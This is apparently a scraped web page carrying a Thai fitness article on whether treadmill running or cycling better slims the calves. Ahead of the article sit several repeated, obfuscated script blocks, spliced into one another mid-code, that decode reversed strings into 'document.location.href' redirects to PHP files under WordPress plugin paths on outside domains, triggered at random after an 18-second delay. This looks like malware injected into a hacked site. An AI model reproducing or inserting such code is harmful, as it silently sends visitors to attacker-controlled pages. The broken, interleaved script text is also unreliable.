{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</trust-tru-kats<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>ande-592914-unsplash-1000x570.jpg)
น่องใหญ่อันไม่พึ่งประสงค์ของสาวๆ นั้น มีสาเหตุหลักมาจากไขมันส่วนเกินที่สะสมตัวไว้ตามชั้นกล้ามเนื้อ ทำให้น่องดูใหญ่เป็นก้อนอ้วนเผละ การวิ่งหรือเดินบนลู่วิ่ง (TREADMILL) และการปั่นจักรยาน (ทั้ง ปั่น OUTDOOR และ STATIONARY) เป็นการออกกำลังกายแบบ CARDIO ให้กับร่างกายและเป็นการใช้งานกล้ามเนื้อส่วนน่อง (CALF MUSCLE) ทั้งสองมีประสิทธิภาพในการดึงไขมันมาใช้และเป็นการสร้างกล้ามเนื้อ (น่อง) ให้แข็งแรงและดูลีน (LEAN)
สาวอยากน่องสวยต้องวิ่ง (TREADMILL) หรือปั่นจักรยาน
- ปั่นจักรยานเพื่อลดน่อง
ทำความรู้จักกันสักนิด การปั่นจักรยานเป็นกีฬาประเภท NON-WEIGHT BEARING EXERCISE หรือกีฬาประเภท LOW IMPACT ที่ไม่ต้องแบกน้ำหนักของร่างกาย และการปั่นก็เป็นการออกกำลังกายแบบ CARDIO ที่ดึงไขมันทุกส่วนของร่างกายมาใช้เผาผลาญ การฝึกปั่นแบบ HIGH-INTENSITY INTERVAL TRAINING (HIIT) หรือการทำ SHORT BURSTS ในช่วงระยะเวลาสั้นๆ จะช่วยดึงไขมันมาใช้มากขึ้นและเพิ่มระดับเมตาบอลิซึมให้สูงขึ้น ซึ่งแนะนำให้ทำการฝึกปั่นกับ STATIONARY BIKE แบบ HIIT 45 นาที 5 ครั้งต่อสัปดาห์ เพื่อสลิมกล้ามเนื้อน่องลง
แต่ทั้งนี้ การเซตเกียร์หนักเบาก็มีส่วนในการเพื่อขนาดกล้ามเนื้อเช่นกัน การเซตเกียร์หมายถึงการปรับให้มีแรงต้านมากน้อย เกียร์หนัก ก็เหมือนยกเวทหนักๆ สามารถลดการสร้างมวลกล้ามเนื้อเพิ่มได้ ในปี 2011 SHUKUTOKU UNIVERSITY คณะ HEALTH AND MEDICAL STUDIES ประเทศญี่ปุ่น ได้ทำการศึกษาและพบว่า การปั่นจักรยานโดยไม่มีแรงต้าน ไม่สามารถทำให้กล้ามเนื้อน่องมีความแข็งเรงขึ้น ถึงแม้จะปั้นให้สูงก็ตาม ดังนั้นพิจารณาได้ว่า การปั่นจักรยานมีโอกาสที่จะสร้างกล้ามเนื้อน่องเพิ่มได้น้อยกว่าการวิ่งบนลู่ (TREADMILL) แต่ถ้าใส่เกียร์สูงปั่นหนักจนขาล้า รับรองว่าเราจะได้กล้ามเนื้อเพิ่มขึ้นแน่นอน
- เดินหรือวิ่งบนลู่วิ่ง (TREADMILL)
การวิ่งหรือเดินจะใช้น้ำหนักร่างกายเป็นแรงต้านในการขยับตัวไปข้างหน้า การฝึกวิ่งแบบ SPRINT จะช่วยสร้างกล้ามเนื้อน่องได้มากที่สุด มากกว่าการฝึกวิ่งแบบ LONG RUN หรือฝึกแบบ ENDURANCE TRAINING และในส่วนของการเดินนั้น แม้จะใช้กล้ามน่องเหมือนกันแต่ก็ไม่สามารถสร้างกล้ามเนื้อขึ้นมาเป็นก้อนๆ ได้
การฝึกวิ่งเพื่อสลิมน่องแนะนำให้ฝึกวิ่ง แบบ HIIT 45 นาทีต่อครั้งเช่นกัน ถ้าแบ่งสเกลการฝึกจาก 0-10 ในช่วงสิบนาทีแรกเป็นการวอร์มอัพ หลังจากนั้น เพิ่มระดับขึ้นไปที่ 7-8 เป็นเวลา 30 วินาทีหรือถึง 3 นาที เป็นการฝึกแบบสั้นๆ แต่เร็วและแรง
ถ้าถามว่าปั่นหรือวิ่ง แบบไหนจะช่วยลดน่องได้ดีสุด…ตอบเลยว่า การวิ่งจะช่วยสลิมกล้ามเนื้อน่องได้เร็วกว่า เพราะวิ่งจะใช้พลังงานมากกว่าการปั่น แค่วิ่ง 10 กิโลเมตรในหนึ่งชั่วโมงบนลู่วิ่ง เราจะเผาผลาญไขมันได้มากกว่าปั่นจักรยาน 10 กิโลเมตรในหนึ่งชั่วโมง ที่สำคัญ ถ้าผู้ออกกำลังกายไม่ทำการยืดเหยียดหลังการออกกำลังกาย โอกาสที่กล้ามเนื้อน่องจะใหญ่ (ไม่ลีน) น่องปูดเหมือนนักเล่นกล้ามจะสูงมาก
อ้างอิง woman.thenest.com
